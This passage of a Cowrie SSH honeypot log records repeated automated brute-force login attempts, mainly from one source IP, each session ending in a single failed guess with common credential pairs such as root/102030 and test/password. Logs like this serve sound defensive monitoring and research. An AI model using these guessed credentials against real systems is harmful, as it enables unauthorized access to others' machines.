{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:57.910245Z","src_ip":"45.153.34.195","session":"aa228480413f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux","message":"login attempt [linux/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:58.223895Z","src_ip":"45.153.34.195","session":"aa228480413f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:59.310441Z","src_ip":"45.153.34.195","session":"aa228480413f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":29342,"dst_ip":"10.17.0.5","dst_port":22,"session":"40d265d456bd","protocol":"ssh","message":"New connection: 45.153.34.195:29342 (10.17.0.5:22) [session: 40d265d456bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:00.729666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:00.745629Z","src_ip":"45.153.34.195","session":"40d265d456bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:00.822458Z","src_ip":"45.153.34.195","session":"40d265d456bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysupdate","password":"postgres","message":"login attempt [sysupdate/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:01.136123Z","src_ip":"45.153.34.195","session":"40d265d456bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:02.232744Z","src_ip":"45.153.34.195","session":"40d265d456bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":40672,"dst_ip":"10.17.0.5","dst_port":22,"session":"79da63de1f25","protocol":"ssh","message":"New connection: 45.153.34.195:40672 (10.17.0.5:22) [session: 79da63de1f25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:03.434914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:03.571800Z","src_ip":"45.153.34.195","session":"79da63de1f25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:03.575449Z","src_ip":"45.153.34.195","session":"79da63de1f25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"102030","message":"login attempt [root/102030] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:04.031260Z","src_ip":"45.153.34.195","session":"79da63de1f25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ankurkudintzi","message":"login attempt [root/ankurkudintzi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:04.608329Z","src_ip":"91.92.40.36","session":"306767873140","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:05.114766Z","src_ip":"45.153.34.195","session":"79da63de1f25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":40682,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef2df4532805","protocol":"ssh","message":"New connection: 45.153.34.195:40682 (10.17.0.5:22) [session: ef2df4532805]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:06.404456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:06.413885Z","src_ip":"45.153.34.195","session":"ef2df4532805","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:06.516961Z","src_ip":"45.153.34.195","session":"ef2df4532805","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.6","message":"Connection lost after 10.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:06.848644Z","src_ip":"91.92.40.36","session":"306767873140","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"maxwell1983","message":"login attempt [root/maxwell1983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:06.958418Z","src_ip":"45.153.34.195","session":"ef2df4532805","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:08.042592Z","src_ip":"45.153.34.195","session":"ef2df4532805","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":40694,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e2b5f344003","protocol":"ssh","message":"New connection: 45.153.34.195:40694 (10.17.0.5:22) [session: 2e2b5f344003]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:09.335220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:09.339959Z","src_ip":"45.153.34.195","session":"2e2b5f344003","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:09.429147Z","src_ip":"45.153.34.195","session":"2e2b5f344003","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"try","password":"123456","message":"login attempt [try/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:09.683861Z","src_ip":"45.153.34.195","session":"2e2b5f344003","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:10.770805Z","src_ip":"45.153.34.195","session":"2e2b5f344003","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":51376,"dst_ip":"10.17.0.5","dst_port":22,"session":"bfd8747d11d7","protocol":"ssh","message":"New connection: 45.153.34.195:51376 (10.17.0.5:22) [session: bfd8747d11d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:12.343413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:12.352667Z","src_ip":"45.153.34.195","session":"bfd8747d11d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:12.441513Z","src_ip":"45.153.34.195","session":"bfd8747d11d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gold","password":"gold","message":"login attempt [gold/gold] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:12.772636Z","src_ip":"45.153.34.195","session":"bfd8747d11d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:13.858597Z","src_ip":"45.153.34.195","session":"bfd8747d11d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":51388,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c063833fe66","protocol":"ssh","message":"New connection: 45.153.34.195:51388 (10.17.0.5:22) [session: 2c063833fe66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:15.246520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:15.404304Z","src_ip":"45.153.34.195","session":"2c063833fe66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:15.407356Z","src_ip":"45.153.34.195","session":"2c063833fe66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"password","message":"login attempt [test/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:15.923290Z","src_ip":"45.153.34.195","session":"2c063833fe66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:17.178209Z","src_ip":"45.153.34.195","session":"2c063833fe66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":51392,"dst_ip":"10.17.0.5","dst_port":22,"session":"08ad3013eaeb","protocol":"ssh","message":"New connection: 45.153.34.195:51392 (10.17.0.5:22) [session: 08ad3013eaeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:18.302731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:18.308958Z","src_ip":"45.153.34.195","session":"08ad3013eaeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:18.403972Z","src_ip":"45.153.34.195","session":"08ad3013eaeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jay","password":"jay","message":"login attempt [jay/jay] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:18.962544Z","src_ip":"45.153.34.195","session":"08ad3013eaeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:20.134378Z","src_ip":"45.153.34.195","session":"08ad3013eaeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":51394,"dst_ip":"10.17.0.5","dst_port":22,"session":"f81c03c2eb14","protocol":"ssh","message":"New connection: 45.153.34.195:51394 (10.17.0.5:22) [session: f81c03c2eb14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:21.151743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:51:21.156736Z","src_ip":"45.153.34.195","session":"f81c03c2eb14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-